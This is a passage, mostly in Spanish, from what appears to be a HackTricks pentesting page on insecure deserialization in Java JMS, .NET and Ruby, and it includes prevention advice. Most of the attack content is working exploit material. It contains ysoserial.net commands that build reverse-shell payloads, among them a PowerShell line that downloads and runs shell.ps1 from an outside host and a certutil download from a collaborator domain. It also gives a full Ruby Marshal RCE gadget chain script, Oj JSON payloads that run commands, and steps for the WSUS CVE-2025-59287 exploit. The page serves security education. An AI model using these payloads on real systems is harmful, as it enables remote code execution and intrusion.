  • jdeserialize permite el análisis de objetos Java serializados sin deserializarlos, ayudando a identificar contenido potencialmente malicioso.
  • Kryo es un framework de serialización alternativo que enfatiza la velocidad y la eficiencia, ofreciendo estrategias de serialización configurables que pueden mejorar la seguridad.

Referencias

JNDI Injection & log4Shell

Encuentra qué es JNDI Injection, cómo abusar de ello vía RMI, CORBA & LDAP y cómo explotar log4shell (y un ejemplo de esta vulnerabilidad) en la siguiente página:

JNDI - Java Naming and Directory Interface & Log4Shell

JMS - Java Message Service

The Java Message Service (JMS) API is a Java message-oriented middleware API for sending messages between two or more clients. It is an implementation to handle the producer–consumer problem. JMS is a part of the Java Platform, Enterprise Edition (Java EE), and was defined by a specification developed at Sun Microsystems, but which has since been guided by the Java Community Process. It is a messaging standard that allows application components based on Java EE to create, send, receive, and read messages. It allows the communication between different components of a distributed application to be loosely coupled, reliable, and asynchronous. (From Wikipedia).

Productos

Existen varios productos que usan este middleware para enviar mensajes:

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

Explotación

Básicamente hay varios servicios que usan JMS de forma insegura. Por lo tanto, si tienes privilegios suficientes para enviar mensajes a estos servicios (normalmente necesitarás credenciales válidas), podrías ser capaz de enviar objetos serializados maliciosos que serán deserializados por el consumidor/subscriptor.
Esto significa que en esta explotación todos los clientes que vayan a usar ese mensaje quedarán comprometidos.

Debes recordar que aunque un servicio sea vulnerable (porque deserializa entrada de usuario de forma insegura), todavía necesitas encontrar gadgets válidos para explotar la vulnerabilidad.

La herramienta JMET fue creada para conectarse y atacar estos servicios enviando varios objetos serializados maliciosos usando gadgets conocidos. Estos exploits funcionarán si el servicio sigue siendo vulnerable y si cualquiera de los gadgets usados está presente en la aplicación vulnerable.

Referencias

.Net

En el contexto de .Net, los exploits de deserialización operan de manera similar a los encontrados en Java, donde se explotan gadgets para ejecutar código específico durante la deserialización de un objeto.

Fingerprint

WhiteBox

Se debe inspeccionar el código fuente en busca de ocurrencias de:

  1. TypeNameHandling
  2. JavaScriptTypeResolver

El foco debe ponerse en serializers que permitan que el tipo sea determinado por una variable bajo control del usuario.

BlackBox

La búsqueda debería apuntar a la cadena codificada en Base64 AAEAAAD///// o cualquier patrón similar que pudiera deserializarse en el servidor, otorgando control sobre el tipo que se deserializará. Esto podría incluir, pero no está limitado a, estructuras JSON o XML que incluyan TypeObject o $type.

ysoserial.net

En este caso puedes usar la herramienta ysoserial.net para crear los exploits de deserialización. Una vez descargado el repositorio git deberías compilar la herramienta usando Visual Studio, por ejemplo.

Si quieres aprender cómo ysoserial.net crea sus exploits puedes consultar esta página donde se explica el gadget ObjectDataProvider + ExpandedWrapper + Json.Net formatter.

Las opciones principales de ysoserial.net son: --gadget, --formatter, --output y --plugin.

  • --gadget se usa para indicar el gadget a abusar (indicar la clase/función que será abusada durante la deserialización para ejecutar comandos).
  • --formatter se usa para indicar el método para serializar el exploit (necesitas saber qué librería usa el backend para deserializar el payload y usar la misma para serializarlo).
  • --output se usa para indicar si quieres el exploit en raw o base64. Ten en cuenta que ysoserial.net codificará el payload usando UTF-16LE (codificación usada por defecto en Windows), así que si obtienes el raw y lo codificas desde una consola Linux podrías tener problemas de compatibilidad de codificación que impedirán que el exploit funcione correctamente (en la caja JSON de HTB el payload funcionó tanto en UTF-16LE como en ASCII, pero eso no garantiza que siempre funcione).
  • --plugin ysoserial.net soporta plugins para crear exploits para frameworks específicos como ViewState

Más parámetros de ysoserial.net

  • --minify proporcionará un payload más pequeño (si es posible)
  • --raf -f Json.Net -c "anything" Esto indicará todos los gadgets que pueden usarse con un formatter proporcionado (Json.Net en este caso)
  • --sf xml puedes indicar un gadget (-g) y ysoserial.net buscará formatters que contengan “xml” (insensible a mayúsculas)

ysoserial examples to create exploits:

#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64

#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server

#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64

#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv  -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64

ysoserial.net también tiene un parámetro muy interesante que ayuda a entender mejor cómo funciona cada exploit: --test
Si indicas este parámetro ysoserial.net intentará el exploit localmente, para que puedas probar si tu payload funcionará correctamente.
Este parámetro es útil porque si revisas el código encontrarás fragmentos de código como el siguiente (de ObjectDataProviderGenerator.cs):

if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}

Esto significa que, para probar el exploit, el código llamará a serializersHelper.JsonNet_deserialize

public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}

En el código anterior es vulnerable al exploit creado. Por lo tanto, si encuentras algo similar en una aplicación .Net probablemente esa aplicación también sea vulnerable.
Por eso el parámetro --test nos permite entender qué fragmentos de código son vulnerables al exploit de deserialización que ysoserial.net puede crear.

ViewState

Echa un vistazo a this POST about how to try to exploit the __ViewState parameter of .Net para ejecutar código arbitrario. Si ya conoces los secrets usados por la máquina víctima, read this post to know to execute code.

Real‑world sink: WSUS AuthorizationCookie & Reporting SOAP → BinaryFormatter/SoapFormatter RCE

  • Affected endpoints:
  • /SimpleAuthWebService/SimpleAuth.asmx → GetCookie() AuthorizationCookie descifrada luego deserializada con BinaryFormatter.
  • /ReportingWebService.asmx → ReportEventBatch and related SOAP ops that reach SoapFormatter sinks; el base64 gadget se procesa cuando la consola WSUS ingiere el evento.
  • Root cause: bytes controlados por el atacante alcanzan legacy .NET formatters (BinaryFormatter/SoapFormatter) sin allow‑lists/binders estrictos, por lo que las gadget chains se ejecutan como la cuenta de servicio de WSUS (a menudo SYSTEM).

Minimal exploitation (Reporting path):

  1. Generate a .NET gadget with ysoserial.net (BinaryFormatter or SoapFormatter) and output base64, for example:
# Reverse shell (EncodedCommand) via BinaryFormatter
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -o base64 -c "powershell -NoP -W Hidden -Enc <BASE64_PS>"

# Simple calc via SoapFormatter (test)
ysoserial.exe -g TypeConfuseDelegate -f SoapFormatter -o base64 -c "calc.exe"
  1. Construye un SOAP para ReportEventBatch incrustando el gadget en base64 y haz POST a /ReportingWebService.asmx.
  2. Cuando un administrador abre la consola de WSUS, el evento se deserializa y el gadget se ejecuta (RCE como SYSTEM).

AuthorizationCookie / GetCookie()

  • Un AuthorizationCookie forjado puede ser aceptado, descifrado y pasado a un sink de BinaryFormatter, habilitando RCE pre‑auth si es alcanzable.

Public PoC (tecxx/CVE-2025-59287-WSUS) parameters:

$lhost = "192.168.49.51"
$lport = 53
$targetURL = "http://192.168.51.89:8530"

See Windows Local Privilege Escalation – WSUS

Prevención

Para mitigar los riesgos asociados con la deserialización en .Net:

  • Evitar permitir que los flujos de datos definan sus tipos de objeto. Utilice DataContractSerializer o XmlSerializer cuando sea posible.
  • Para JSON.Net, establezca TypeNameHandling en None: TypeNameHandling = TypeNameHandling.None
  • Evitar usar JavaScriptSerializer con un JavaScriptTypeResolver.
  • Limitar los tipos que pueden ser deserializados, entendiendo los riesgos inherentes con tipos de .Net, como System.IO.FileInfo, que puede modificar propiedades de archivos del servidor, potencialmente conduciendo a ataques de denegación de servicio.
  • Tener precaución con tipos que tienen propiedades riesgosas, como System.ComponentModel.DataAnnotations.ValidationException con su propiedad Value, que puede ser explotada.
  • Controlar de forma segura la instanciación de tipos para evitar que un atacante influya en el proceso de deserialización, lo que puede volver vulnerables incluso a DataContractSerializer o XmlSerializer.
  • Implementar controles de lista blanca usando un SerializationBinder personalizado para BinaryFormatter y JSON.Net.
  • Mantenerse informado sobre gadgets de deserialización inseguros conocidos dentro de .Net y asegurar que los deserializadores no instancien dichos tipos.
  • Aislar código potencialmente riesgoso del código con acceso a Internet para evitar exponer gadgets conocidos, como System.Windows.Data.ObjectDataProvider en aplicaciones WPF, a fuentes de datos no confiables.

Referencias

Ruby

En Ruby, la serialización se facilita mediante dos métodos dentro de la biblioteca marshal. El primer método, conocido como dump, se usa para transformar un objeto en un flujo de bytes. Este proceso se denomina serialización. Por el contrario, el segundo método, load, se emplea para revertir un flujo de bytes a un objeto, un proceso conocido como deserialización.

Para proteger objetos serializados, Ruby emplea HMAC (Hash-Based Message Authentication Code), asegurando la integridad y autenticidad de los datos. La llave utilizada para este propósito se almacena en una de las siguientes ubicaciones:

  • config/environment.rb
  • config/initializers/secret_token.rb
  • config/secrets.yml
  • /proc/self/environ

Ruby 2.X generic deserialization to RCE gadget chain (más información en https://www.elttam.com/blog/ruby-deserialization/):

#!/usr/bin/env ruby

# Code from https://www.elttam.com/blog/ruby-deserialization/

class Gem::StubSpecification
def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

Otra cadena de RCE para explotar Ruby On Rails: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/

Ruby .send() method

Como se explica en this vulnerability report, si una entrada de usuario no saneada llega al método .send() de un objeto ruby, este método permite invocar cualquier otro método del objeto con cualquier parámetro.

Por ejemplo, llamar a eval y luego código ruby como segundo parámetro permitirá ejecutar código arbitrario:

<Object>.send('eval', '<user input with Ruby code>') == RCE

Además, si solo un parámetro de .send() está controlado por un atacante, como se mencionó en el writeup anterior, es posible llamar a cualquier método del objeto que no necesite argumentos o cuyos argumentos tengan valores por defecto.
Para ello, es posible enumerar todos los métodos del objeto para encontrar algunos métodos interesantes que cumplan esos requisitos.

<Object>.send('<user_input>')

# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1)  # get first repo
repo_methods = [           # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()

repo_methods.length()      # Initial number of methods => 5542

## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595

Ruby class pollution

Consulta cómo podría ser posible pollute a Ruby class and abuse it in here.

Ruby _json pollution

Cuando en el body se envían valores que no son hashables, como un array, se añaden en una nueva clave llamada _json. Sin embargo, es posible que un atacante también establezca en el body un valor llamado _json con los valores arbitrarios que desee. Entonces, si el backend por ejemplo verifica la veracidad de un parámetro pero después también utiliza el parámetro _json para realizar alguna acción, se podría producir un authorisation bypass.

Consulta más información en la Ruby _json pollution page.

Otras librerías

Esta técnica fue tomada from this blog post.

Hay otras librerías de Ruby que pueden usarse para serializar objetos y que, por tanto, podrían abusarse para obtener RCE durante una deserialización insegura. La siguiente tabla muestra algunas de estas librerías y el método que se invoca de la librería cargada siempre que se deserializa (función para abusar y obtener RCE básicamente):

LibreríaDatos de entradaMétodo de inicio dentro de la clase
Marshal (Ruby)Binary_load
OjJSONhash (class needs to be put into hash(map) as key)
OxXMLhash (class needs to be put into hash(map) as key)
Psych (Ruby)YAMLhash (class needs to be put into hash(map) as key)
init_with
JSON (Ruby)JSONjson_create ([see notes regarding json_create at end](#table-vulnerable-sinks))

Ejemplo básico:

# Existing Ruby class inside the code of the app
class SimpleClass
def initialize(cmd)
@cmd = cmd
end

def hash
system(@cmd)
end
end

# Exploit
require 'oj'
simple = SimpleClass.new("open -a calculator") # command for macOS
json_payload = Oj.dump(simple)
puts json_payload

# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)

En el caso de intentar abusar de Oj, fue posible encontrar una gadget class que, dentro de su función hash, llamaba a to_s, que llamaba a spec, que llamaba a fetch_path, la cual se podía forzar para que buscara una URL aleatoria, proporcionando un excelente detector de este tipo de unsanitized deserialization vulnerabilities.

{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "example.org/anyurl?",
"port": "anyport",
"path": "/",
"user": "anyuser",
"password": "anypw"
}

Además, se encontró que con la técnica anterior también se crea una carpeta en el sistema, la cual es un requisito para abusar de otro gadget con el fin de transformar esto en una RCE completa con algo como:

{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
"root_dir": "/tmp",
"repository": "anyrepo",
"name": "anyname"
},
"spec": {
"^o": "Gem::Resolver::Specification",
"name": "name",
"dependencies": []
}
}
}

Consulta más detalles en el original post.

Bootstrap Caching

Not really a desearilization vuln but a nice trick to abuse bootstrap caching to to get RCE from a rails application with an arbitrary file write (find the complete original post in here).

A continuación hay un resumen corto de los pasos detallados en el artículo para explotar una arbitrary file write abusando del caché de Bootsnap:

  • Identify the Vulnerability and Environment

La funcionalidad de subida de archivos de la app Rails permite a un atacante escribir archivos de forma arbitraria. Aunque la app se ejecuta con restricciones (solo ciertos directorios como tmp son escribibles debido al usuario no-root de Docker), esto todavía permite escribir en el Bootsnap cache directory (típicamente bajo tmp/cache/bootsnap).

  • Understand Bootsnap’s Cache Mechanism

Bootsnap acelera los tiempos de arranque de Rails cacheando código Ruby compilado, archivos YAML y JSON. Almacena archivos de caché que incluyen un cache key header (con campos como Ruby version, file size, mtime, compile options, etc.) seguido del código compilado. Este header se usa para validar la caché durante el arranque de la app.

  • Gather File Metadata

El atacante primero selecciona un archivo objetivo que probablemente se cargue durante el arranque de Rails (por ejemplo, set.rb de la standard library de Ruby). Ejecutando código Ruby dentro del contenedor, extraen metadata crítica (como RUBY_VERSION, RUBY_REVISION, size, mtime, y compile_option). Estos datos son esenciales para construir un cache key válido.

  • Compute the Cache File Path

Replicando el mecanismo de hash FNV-1a 64-bit de Bootsnap, se determina la ruta correcta del archivo de caché. Este paso asegura que el archivo de caché malicioso se coloque exactamente donde Bootsnap lo espera (p. ej., bajo tmp/cache/bootsnap/compile-cache-iseq/).

  • Craft the Malicious Cache File

El atacante prepara un payload que:

  • Ejecuta comandos arbitrarios (por ejemplo, ejecutando id para mostrar información del proceso).
  • Elimina la caché maliciosa después de la ejecución para evitar explotación recursiva.
  • Carga el archivo original (p. ej., set.rb) para evitar que la aplicación falle.

Este payload se compila en código Ruby binario y se concatena con un cache key header cuidadosamente construido (usando la metadata previamente recopilada y el número de versión correcto de Bootsnap).

  • Overwrite and Trigger Execution

Usando la arbitrary file write, el atacante escribe el archivo de caché creado en la ubicación calculada. Luego, provoca un reinicio del servidor (escribiendo en tmp/restart.txt, que Puma monitoriza). Durante el reinicio, cuando Rails requires el archivo objetivo, se carga el archivo de caché malicioso, resultando en remote code execution (RCE).

Ruby Marshal exploitation in practice (updated)

Considera cualquier ruta donde bytes no confiables lleguen a Marshal.load/marshal_load como un sink de RCE. Marshal reconstruye grafos de objetos arbitrarios y dispara callbacks de librerías/gems durante la materialización.

  • Minimal vulnerable Rails code path:
class UserRestoreController < ApplicationController
def show
user_data = params[:data]
if user_data.present?
deserialized_user = Marshal.load(Base64.decode64(user_data))
render plain: "OK: #{deserialized_user.inspect}"
else
render plain: "No data", status: :bad_request
end
end
end
  • Clases de gadget comunes observadas en cadenas reales: Gem::SpecFetcher, Gem::Version, Gem::RequestSet::Lockfile, Gem::Resolver::GitSpecification, Gem::Source::Git.
  • Marcador típico de side-effect incrustado en payloads (ejecutado durante unmarshal):
*-TmTT="$(id>/tmp/marshal-poc)"any.zip

Dónde aparece en aplicaciones reales:

  • Almacenamientos de caché y de sesión de Rails que históricamente usan Marshal
  • Backends de background jobs y almacenamientos de objetos respaldados por archivos
  • Cualquier persistencia personalizada o transporte de blobs binarios de objetos

Descubrimiento industrializado de gadgets:

  • Buscar con grep constructores, hash, _load, init_with, o métodos con efectos secundarios invocados durante el unmarshal
  • Usar las consultas Ruby unsafe deserialization de CodeQL para trazar sources → sinks y exponer gadgets
  • Validar con PoCs públicas multi-formato (JSON/XML/YAML/Marshal)

Referencias

  • Trail of Bits – Marshal madness: A brief history of Ruby deserialization exploits: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
  • elttam – Ruby 2.x Universal RCE Deserialization Gadget Chain: https://www.elttam.com/blog/ruby-deserialization/
  • Phrack #69 – Rails 3/4 Marshal chain: https://phrack.org/issues/69/12.html
  • CVE-2019-5420 (Rails 5.2 insecure deserialization): https://nvd.nist.gov/vuln/detail/CVE-2019-5420
  • ZDI – RCE via Ruby on Rails Active Storage insecure deserialization: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
  • Include Security – Discovering gadget chains in Rubyland: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
  • GitHub Security Lab – Ruby unsafe deserialization (query help): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
  • GitHub Security Lab – PoCs repo: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
  • Doyensec PR – Ruby 3.4 gadget: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1
  • Luke Jahnke – Ruby 3.4 universal chain: https://nastystereo.com/security/ruby-3.4-deserialization.html
  • Luke Jahnke – Gem::SafeMarshal escape: https://nastystereo.com/security/ruby-safe-marshal-escape.html
  • Ruby 3.4.0-rc1 release: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
  • Ruby fix PR #12444: https://github.com/ruby/ruby/pull/12444
  • Trail of Bits – Auditing RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
  • watchTowr Labs – Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035: https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/
  • OffSec – CVE-2025-59287 WSUS unsafe deserialization (blog)
  • PoC – tecxx/CVE-2025-59287-WSUS
  • RSC Report Lab – CVE-2025-55182 (React 19.2.0)

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks